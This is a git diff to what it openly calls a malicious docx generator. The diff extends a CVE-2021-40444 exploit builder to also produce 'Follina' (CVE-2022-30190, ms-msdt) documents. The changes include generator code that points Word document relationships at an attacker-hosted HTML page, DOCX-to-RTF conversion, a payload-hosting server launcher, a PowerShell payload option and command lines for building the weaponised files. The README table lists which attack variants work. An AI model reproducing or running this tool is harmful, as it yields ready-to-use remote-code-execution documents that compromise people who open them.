diff --git a/README.md b/README.md index e1c93c4..7ad64e3 100644 --- a/README.md +++ b/README.md @@ -2,6 +2,10 @@ Malicious docx generator to exploit CVE-2021-40444 (Microsoft Office Word Remote Code Execution), works with arbitrary DLL files. +### Update 31/05/2022 - CVE-2022-30190 - Follina + +Now the generator is able to generate the document required to exploit also the "Follina" attack (leveraging ms-msdt). + # Background Although many PoC are already around the internet, I guessed to give myself a run to weaponizing this vulnerability, @@ -11,6 +15,7 @@ released a patch for this vulnerability. So far, the only valuable resources I've seen to create a fully working generator are: * [Blog by Ret2Pwn](https://xret2pwn.github.io//CVE-2021-40444-Analysis-and-Exploit/) * [Twit by j00sean](https://twitter.com/j00sean/status/1437390861499838466) +* [Twit by wdormann](https://twitter.com/wdormann/status/1531250993127739392) The above resources outline a lot of the requirements needed to create a full chain. To avoid repeating too much unnecessary information, I'll just summarize the relevant details. @@ -117,18 +122,21 @@ To summarise: The generator utility can currently reproduce the following attacks: -| Attack | HTML Templates | Target | Delivery Method | Execution Method | Working | -|-------------------------------------------|---------------------|--------|-----------------|------------------|-----------------| -| Original version of the attack | cab-orig-* | WORD | DOCX | CAB + DLL | YES | -| j00sean IE-only attack | cab-orig-j00san | IE | HTML | CAB + DLL | YES | -| My version without DLL | cab-uri-* | WORD | DOCX | CAB + JS/VBS | NO1 | -| Eduardo B. "CABless" attack using RAR | cabless-rar-* | WORD | RAR | WSF | YES | -| Modified j00sean attack + HTML smuggling | cabless-smuggling-* | IE | HTML | JS/VBS | YES2 | +| Attack | HTML Templates | Target | Delivery Method | Execution Method | Working | +|------------------------------------------|---------------------|--------|-----------------|------------------|-----------------| +| Original version of the attack | cab-orig-* | WORD | DOCX | CAB + DLL | YES | +| j00sean IE-only attack | cab-orig-j00san | IE | HTML | CAB + DLL | YES | +| My version without DLL | cab-uri-* | WORD | DOCX | CAB + JS/VBS | NO1 | +| Eduardo B. "CABless" attack using RAR | cabless-rar-* | WORD | RAR | WSF | YES | +| Modified j00sean attack + HTML smuggling | cabless-smuggling-* | IE | HTML | JS/VBS | YES2 | +| Follina attack | cabless-msdt-* | WORD | HTML | MSDT + PS | YES3 | _1The CAB is not downloaded properly in some environments_ _2The user needs to click on "Save" to download the file on IE_ +_3Not really working on all Windows/MS Word versions_ + # CAB file parser The utility `cab_parser.py` can be used to see the headers of the exploit file, but don't consider this a full @@ -202,6 +210,12 @@ python generator.py -u http://127.0.0.1 -P test\job-jscript.wsf --no-cab --host ``` python generator.py -u http://127.0.0.1 -P test\calc.js --no-cab --host -t ``` +* +* Generate the CABless exploit leveraging MS-MSDT (Follina attack), in both DOCX and RTF docs + +``` +python generator.py -u http://127.0.0.1 -P test\calc.ps1 --no-cab --host --convert +``` # Credits diff --git a/generator.py b/generator.py index bd3a48c..aad1a86 100644 --- a/generator.py +++ b/generator.py @@ -19,6 +19,7 @@ import tempfile import time import traceback from pathlib import Path +import win32com.client from cab_parser import Cab from in_place import InPlace @@ -161,6 +162,8 @@ def get_file_extension_based_uri(exploit, no_cab=False): return exploit elif exploit in [".hta", ".js", ".vbs", ".wsf", ".hta"]: return ".wsf" + else: + return "ms-msdt" def get_mime_type(exploit): @@ -176,9 +179,11 @@ def get_mime_type(exploit): return "text/plain" elif exploit == ".wsf": return "text/xml" + else: + return "text/plain" -def generate_payload(payload, server_url, basename, copy_to=None, no_cab=False): +def generate_payload(payload, server_url, basename, copy_to=None, no_cab=False, convert=False): # Current Working Directory working_directory = Path(__file__).parent @@ -201,14 +206,16 @@ def generate_payload(payload, server_url, basename, copy_to=None, no_cab=False): exploit = os.path.splitext(args.payload)[1] - if no_cab and exploit != ".wsf": - print("[-] CAB-less version chosen, only .wsf is currently working") + if no_cab and exploit not in [".wsf", ".ps1"]: + print("[-] CAB-less version chosen, only .wsf and .ps1 are currently working") exit(1) - lolbin = exploit not in [".dll"] + lolbin = exploit not in [".dll", ".ps1"] if exploit == ".wsf" and no_cab: id = "cabless-rar-" + elif exploit == ".ps1" and no_cab: + id = "cabless-msdt-" elif lolbin and no_cab: id = "cabless-smuggling-" elif lolbin: @@ -268,7 +275,10 @@ def generate_payload(payload, server_url, basename, copy_to=None, no_cab=False): print('[*] Crafting Relationships to point to HTML/CAB/JS Hosting Server...') with InPlace(str(tmp_path.joinpath("word").joinpath("_rels").joinpath('document.xml.rels'))) as rels: xml_content = rels.read() - xml_content = xml_content.replace('', f'{server_url}/{html_final_file.name}') + if exploit != ".ps1": + xml_content = xml_content.replace('', f'{server_url}/{html_final_file.name}') + else: + xml_content = xml_content.replace('mhtml:!x-usc:', f'{server_url}/{html_final_file.name}!') # xml_content = xml_content.replace('', inf_file.name) rels.write(xml_content) @@ -316,6 +326,7 @@ def generate_payload(payload, server_url, basename, copy_to=None, no_cab=False): content = content.replace('', f"{rar_file.name}") content = content.replace('', get_file_extension_based_uri(exploit)) content = content.replace('', b64_payload) + content = content.replace('', payload_content.decode()) content = content.replace('', get_mime_type(exploit)) content = content.replace('', get_file_extension_based_uri(exploit)[1]) content = content.replace('', get_file_extension_based_uri(exploit)[2]) @@ -324,6 +335,12 @@ def generate_payload(payload, server_url, basename, copy_to=None, no_cab=False): print(f'[+] Success! MS Word Document stored at: {word_doc}') + if convert: + if convert_to_rtf(word_doc): + print(f'[+] Success! MS Word Document was converted to RTF!') + else: + print(f'[-] ERROR. MS Word Document could not be converted to RTF.') + if exploit == ".wsf" and no_cab: print(f"[*] Generating RAR file {rar_file.name}... and pushing it to 'Downloads', to emulate user download") rar_dest = Path(os.getenv("USERPROFILE")).joinpath("Downloads").joinpath(rar_file.name) @@ -336,10 +353,10 @@ def generate_payload(payload, server_url, basename, copy_to=None, no_cab=False): return html_final_file.name -def start_server(lport, directory: Path): +def start_server(ip, port, directory: Path): this = Path(__file__).parent.joinpath("util").joinpath("server.py") subprocess.Popen( - f'start /D "{directory.absolute()}" "CVE-2021-40444 Payload Delivery Server" cmd /c python "{this.absolute()}" localhost {lport}', + f'start /D "{directory.absolute()}" "CVE-2021-40444 Payload Delivery Server" cmd /c python "{this.absolute()}" {ip} {port}', shell=True, close_fds=True, stderr=subprocess.DEVNULL, @@ -363,6 +380,21 @@ def clean(): pass +def convert_to_rtf(filename): + new_file = os.path.splitext(filename)[0] + ".rtf" + try: + word = win32com.client.Dispatch("Word.application") + word.Visible = False + wordDoc = word.Documents.Open(str(Path(filename).absolute())) + # wdFormatRTF = 6 + wordDoc.SaveAs2(str(Path(new_file).absolute()), FileFormat=6) + wordDoc.Close() + return True + except: + traceback.print_exc() + return False + + def validate_filename(filename): # Required length for the file name required_length = 12 @@ -391,6 +423,8 @@ if __name__ == '__main__': help="Use the CAB-less version of the exploit") parser.add_argument('-t', '--test', action='store_true', default=False, required=False, help="Open IExplorer to test the final HTML file") + parser.add_argument('-x', '--convert', action='store_true', default=False, required=False, + help="Convert DOCX into RTF format") args = parser.parse_args() @@ -401,8 +435,9 @@ if __name__ == '__main__': server = args.url port = 80 + ip = "127.0.0.1" try: - scheme, ip = server.split(":")[0], server.replace("//", "/").split("/")[1] + scheme, ip = server.split(":")[0], server.replace("//", "/").split("/")[1].split(":")[0] if scheme == "http": port = 80 elif scheme == "https": @@ -420,15 +455,15 @@ if __name__ == '__main__': try: html = generate_payload(payload=args.payload, server_url=server, basename=filename, copy_to=args.copy_to, - no_cab=args.no_cab) + no_cab=args.no_cab, convert=args.convert) except (SystemExit, KeyboardInterrupt): exit(1) except: traceback.print_exc() exit(1) if args.host and html: - print(f'[*] Hosting HTML Exploit at {args.url}:{port}/{html}...') - start_server(lport=port, directory=Path(__file__).parent.joinpath("srv")) + print(f'[*] Hosting HTML Exploit at {ip}:{port}/{html}...') + start_server(ip=ip, port=port, directory=Path(__file__).parent.joinpath("srv")) if args.test: if os.path.splitext(args.payload)[1] != ".wsf": print(f"[-] IE testing might not compatible with {os.path.splitext(args.payload)[1]}") diff --git a/requirements.txt b/requirements.txt index 4d11222..36ab574 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,2 +1,3 @@ in_place werkzeug +pywin32 \ No newline at end of file diff --git a/template/cabless-msdt-sample1.html b/template/cabless-msdt-sample1.html new file mode 100644 index 0000000..e53406c --- /dev/null +++ b/template/cabless-msdt-sample1.html @@ -0,0 +1,65 @@ + + + + + + + CVE-2021-40444 2 - The return + + + + + + \ No newline at end of file diff --git a/template/cabless-msdt-sample2.html b/template/cabless-msdt-sample2.html new file mode 100644 index 0000000..502749c --- /dev/null +++ b/template/cabless-msdt-sample2.html @@ -0,0 +1,65 @@ + + + + + + + CVE-2021-40444 2 - The return + + + + + + \ No newline at end of file diff --git a/test/calc.ps1 b/test/calc.ps1 new file mode 100644 index 0000000..337ccb6 --- /dev/null +++ b/test/calc.ps1 @@ -0,0 +1 @@ +Start-Process('notepad') \ No newline at end of file